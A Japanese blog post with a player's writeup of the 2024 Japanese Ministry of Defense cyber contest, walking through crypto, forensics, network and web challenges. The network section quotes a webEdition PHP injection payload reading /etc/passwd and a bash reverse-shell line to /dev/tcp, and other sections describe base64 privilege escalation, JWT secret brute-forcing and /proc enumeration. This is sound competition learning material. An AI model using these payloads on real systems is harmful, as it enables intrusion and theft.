Tahoo!!

自分の勉強していること(コンピュータ関連 / ネットワーク / セキュリティ / サーバ)や趣味について書いていきます

防衛省サイバーコンテスト2024 Writeup

2/25(日) 09:00 - 21:00 に開催された防衛省サイバーコンテストに出てきたので、自分が解いた問題のWriteupを残しておきます。問題数も多いので簡単に。

結果は370pts獲得で、21位でした。

Crypto

Information of Certificate (10pts)

証明書ファイルのCNを答える問題。Windowsの証明書ビューアーで中身を確認する。

Missing IV (10pts)

AES-CBC 128bitsで暗号化されたファイルと暗号鍵が渡される。IVがわからない。

AES CBCは鍵があったとしても、IVがないと最初のブロックが復号できないが、2番目のブロックからは復号できるので、最初のブロック(128bit = 16bytes)以外は復号できる。

復号すると最初の16bytesがないZIPファイルが出てくるので、ZIPのファイルヘッダを調べて適当に16bytes埋めてZIPファイルにする。

users.cs.jmu.edu

ZIPファイルはドキュメントファイル(ODT)だが、たぶんCBCが合わないからかOfficeでは開けなかった。zipコマンドだと普通に展開できる

サムネイルで最初見ようとしたが、小さくても文字は見れなかったが、flagの文字列があることを確認。 中に入ってる contents.xml にテキストでflagが書いてあった。

Short RSA Public Key

公開鍵長が短いので、鍵を素因数分解できそう。 factordbに情報を参照しに行く RsaCtfTool を使う

作成した鍵を使って復号。

Forensics

NTFS Data Hide (10pts)

VHDが含まれるZIPファイル。Google Chromeマルウェア扱いされたので暗号化ZIPで欲しかった。。

たぶんNTFSのADS(代替データストリーム)だろうな思ったので、Windows VMvhdをマウントして dir /r で調べたところあった。

中身はBase64で暗号化されているので、これを復号してFlag

NTFS File Delete (10pts)

問題文に消されたテキストファイルにflagがって書いてあった気がする。

ディスクに消えたファイルが残ってるってことはqemu-img convertでVHDをrawに変換して、あまりイケてないけどstrings+grepでflagを調べた。

NTFS File Rename (20pts)

拡張子がdocxとわかってたので、あまりイケてないけどバイナリエディタで開いてマルチバイトの .docxを探した。

HiddEN Variable (20pts)

メモリフォレンジック問。問題名的に環境変数に答えがありそう

Volatility 3 の windows.envars プラグインを使うと、プロセスが持つ環境変数が出てくる。

各プロセスがFLAGという環境変数を持っている。

Base64かと思いきや、デコードできない。CyberChefでいろいろ試してると、Base58でデコードできた。*1

My Secrets (30pts)

Volatility 3 の windows.cmdline プラグインでプロセスのコマンドライン見ると、7zをパスワードを使って展開している。

windows.filescanでファイルの仮想アドレスを特定する。

windows.dumpfiles プラグインで特定した仮想アドレスを指定してしたら、7zのファイルをダンプできた。(.vacbの拡張子がついたファイル)

拡張子を7zに変えて、書いてあるパスワードを使って展開するとRTFファイルが出てくる。あとはstringsすればflagが見つかる。

Miscellaneous

Une Maison (10pts)

マンションの画像。どれだけ見てもわからなくてヒントを1個使った。

メタデータやバイナリに答えはないという趣旨のヒントが書いてあったので、画像をじっくり見てると真ん中にバーコードぽいものがあった。

これを切り抜いて、バーコードを解析するPythonコードに入れるとflagが出た。

String Obusucation (10pts)

ifをすべてコメントアウトし、FLAGをprintすれば復号したflagが表示される

Where Is the Legit Flag? (20pts)

一番最後execしてるところをprintにすると、以下のコードが出てくる

さらにこの出てきたコードをprintすると、base64+compressされていたコードがデコードされて表示される。

表示されたコードのコメントを除き、以下のようにflogのprintの前にprintを入れてあげればFLAGが表示される

UtterDarkness (20pts)

StegSolveでぽちぽち

Network

Dicovery (10pts)

たぶん、First Blood。開始10分で解いた

nmapで80が開いているので、80にアクセス。

HackTheBoxでよくある「ドメインにリダイレクト」がされるので、/etc/hosts にIPアドレスドメインの紐づけを行う

gobuster で列挙

/ftp にwebeditorの認証情報があった

[WebEdition account]
webeditor
verystrongpass2024

ログインして、システム情報を確認するとバージョンが書いてある。

Exploit (20pts)

バージョンが特定できたので、既知の脆弱性のExploitだろうと思い、"webEdition Exploit" などで調べると、任意コード実行の脆弱性の再現手順が書かれたExploit DBのサイトが見つかる。

www.exploit-db.com

  1. Login account
  2. Go to New -> Webedition page -> empty page
  3. Select php
  4. Set as "><?php echo system("cat /etc/passwd");?> Description area

新しいページは作れなかったが、sample.htmlをPHPに変更、Descriptionを書くことはできた。

しかし、ここで変更したページをpublishする必要があり、それをずっとやってなくてアクセスできないと詰まっていたところ、他のプレイヤーが来てsample.html が荒れてきたので一旦他の問題に行って退避。

ちょっとして戻って来たところ、publishボタンの存在に気づき、PHPの任意コード実行が確認できた。

PHPは、"><?php system("bash -c 'bash -i >& /dev/tcp/10.254.xx.xx/443 0>&1'"); ?> のようなbashのリバースシェルを実行するようにしたところ、シェルが取れた。

なお、実行したコードは他の参加者になるべくバレないように実行したら自分はすぐに消しました。*2

Pivot (30pts)

サーバから機密情報を入手してくださいという問題。

ユーザのホームにsecrets.txt というファイルが置いてあり、ここにFLAGがあるかなと思ったのでどうにかしてrootになれる方法を探す。*3

/usr/local/bin など独自でインストールしたバイナリがないか見ていると、(確か)/usr/bin にシンボリックリンクが張られていた。 そして、/usr/binをよくよく見ていると、base64コマンドにsticky bitがついており、root権限で実行できそう。

GTFOBins を見ると、Base64がある。ビンゴ!

gtfobins.github.io

base64 secrets.txt | base64 --decode で中身が読めそうだったので、実行してみると、データベースの認証情報が見つかった。

また、問題文にポートスキャンを駆使してとも書いてあったので、同じコンテナネットワークをping sweep & 見つかったホストにポートスキャンを実行したところ、192.168.32.2 でMySQLが動いてることがわかった。

あとは、ダイナミックポートフォワードを有効にしてSSH接続し、proxychainsを使ってKaliからmysqlコマンドを実行したところ、フラグのあるデータベースを閲覧でき、Flagを見つけた。

FileExtract (10pts)

WiresharkFTP-DATAのトラフィックからZIPデータを取り出し。

取り出したZIPは暗号化されているが、FTPのパスワードが使い回しされているので、それで解凍

Programming

Logistic Map (10pt)

書いてあるとおりの式で、Pythonなどで計算するだけ

Trivia

The Original Name of AES (10pts)

ラインダールは知ってたが、綴りがわからなかったのでググる。Rijndael

CVE Record of Lowest Number (10pts)

ググったら、CVE-1999-0001 が最初であることがわかる。

cve.mitre.org

あとはMITREのサイトからリンクを辿っていき、パッチを見れば ip_input.c であることがわかる。

https://ftp.openbsd.org/pub/OpenBSD/patches/2.3/common/tcpfix.patch

MFA Factors (10pts)

「多要素認証 3種類」でググると、Googleが教えてくれる。「所持」、「生体」、「知識」

Web

Browsers Have Local Storage (10pts)

Developer ToolでLocal Storageを見る

Are You Introspective? (10pts)

/graphql/graphiql などでエンドポイントのpathを探したけど、見つからなかった。

ヒントを開けると、「バージョン管理されてる可能性も考慮してください」と書かれていたので、/graphql/v1 でアクセスしてみると、エンドポイントが見つかった。*4

アクセスすると、GraphiQLのUIが出てくるので、HackTrickに書いてあった Full introspection query をちょっといじってクエリだすと、FLAGが書いてあるfieldが返ってきた。

book.hacktricks.xyz

Insecure (20pts)

問題文からIDORだろうなと思って、id=1 から id=0に変えてアクセスを試みるも、アクセスしないでください。と怒られる。

2個目のヒントを見て、id=1とid=0 の違いをBurpで見ていたところ、profile_success.php にリダイレクトされるか profile_error.php にリダイレクトされるかの違いだった。

そこで、Burpでリクエスト改ざんして profile_success.php にリダイレクトさせれば良いのでは?と考えて試したところ、id=0のプロフィールページが読めて、Flagが見れた。

Bruteforce (30pts)

2つのWebサーバの情報が渡されて、一つはBasic認証がかかっており、もう一つはソースコードが公開されており、Flaskで書かれたAPIサーバである。

APIサーバの挙動はざっくりと以下の通り。

  • APIサーバにはログイン用のエンドポイント (login)とユーザによって処理を変えるエンドポイント (protected)がある
  • loginでは、ID/パスワードで認証を行い、認証に成功するとJWT Tokenが払い出される
    • ソースコードにはIDとパスワードがベタ書きされており、testアカウントのパスワードはわかる。adminのパスワードは潰されていてわからない
  • protectedでは、adminの場合のみファイルパスを指定することで任意のファイルを閲覧できる
  • jwtのsecretもベタ書きされているが、潰されていてわからない。

jwt tokenに対する攻撃手法を調べていたところ、secretをブルートフォースで当てる方法を見つけた。 secretがわかれば、tokenの署名を偽装できるので、問題名にあるとおりブルートフォースしてみたら、secretわかるのではと思った。

jwt_tool と rockyou.txt を用いて、secret のブルートフォースを試みたところ、secretが conankun であることがわかった。

github.com

これを使って、jwt.io で偽装したトークンを生成。

これを用いて、protected にアクセスしたところ、サーバ内のファイルの中身を取ることができた。

何を取ろうかと思って、/proc/self/ 配下をいろいろ見ていたところ、 cmdline でソースコードがあるパスを調べることができた。

これを使って、配布されたソースコードでは隠されていたadminのパスワードを確認し、パスワードが使い回されていることを考えてBasic認証を突破できないか試したが、できなかった。

ここでbrute forceというタイトルを思い出して、プロセスIDをブルートフォースしたら、同じサーバで動いている別のサーバを見つけられるんじゃないかと思い、Burpで /proc/0/cmdline, /proc/1/cmdline のようにプロセスIDを変えながら見ていくと、Basic認証してそうなWebサーバのプロセスが見つかる。

コマンドライン引数でユーザ名とパスワードを指定しているので、これを用いてBasic認証にチャレンジすると、サーバ内のファイルを閲覧できるページが現れてFLAGが見れた。

感想

レベル感はPwnも出ないし、自分にはちょうど良かった気がします。

ただ、何問か微妙な問題(エスパー、リアリティのない設定、共用環境のために他の参加者にネタバレする、おそらく意図した解法ではないstringsで解けてしまう)、もうゴールさせてくれよ。みたいな問題(過度なエンコード)もあったので、そこが良くなればもう少し良いコンテストになるのになぁと思いました。

あと、全く手がつけられない問題のヒントは役に立つが、途中で困ったときのヒントは役に立たないのもつらかったですね。(CTFdの仕様でこの出し方しかできないのはしょうがないですが。。

いろいろ書きましたが、最近あまり手を動かせてなかったので、楽しく頭の体操ができたので良かったです。 ありがとうございました!

*1:それにしても何でBase58…一捻り入れるためにBase58にしたのかな?

*2:これを残したままにして脆弱性に気づいた参加者もいたみたいなので、これを正攻法で見つけて解いた人がどれだけ居たか気になる。5分おきにリセットされるのもつらかったし、難しいと思うけどこういう問題出すなら個別のホストがあると良かった。。

*3:もうちょっとrootも触るところに置いてあった方がリアリティ出たと思う

*4:そんなのヒントなしでわからんわ。。Web問でこれはエスパーだと思った

setodaNote CTF Writeup (Forensics)

この記事は setodaNote CTF ForensicsジャンルのWriteupです。

  • paint_flag (50pts, 289solves)
  • Mail (50pts, 219solves)
  • Deletedfile (80pts, 195solves)
  • Timeline (100pts, 135solves)
  • browser_db (100pts, 182solves)
  • MFT (100pts, 143solves)
  • tkys_another_day (100pts, 126 solves)
  • TITLE (120pts, 25solves)
  • CSIRT_asks_you_01 (150pts, 99solves)
  • unallocated_space (150pts, 97solves)
  • CSIRT_asks_you_02 (200pts, 62solves)
続きを読む

setodaNote CTF Writeup (Programming)

この記事は setodaNote CTFのProgrammingジャンルのWriteupです。

  • ZZZIPPP (80pts, 263solves)
  • echo_me (120pts, 147solve)
  • EZZZIPPP (150pts, 180solves)
  • deep_thought (250pts, 140solves)
続きを読む

setodaNote CTF Writeup (Rev)

この記事は、setodaNote CTF RevジャンルのWriteupです。

  • Helloworld (50pts, 264solves)
  • ELF(80pts, 187solves)
  • Passcode (120pts, 218solves)
  • Passcode2 (150pts, 109solves)
  • to_analyze (200pts, 82solves)
続きを読む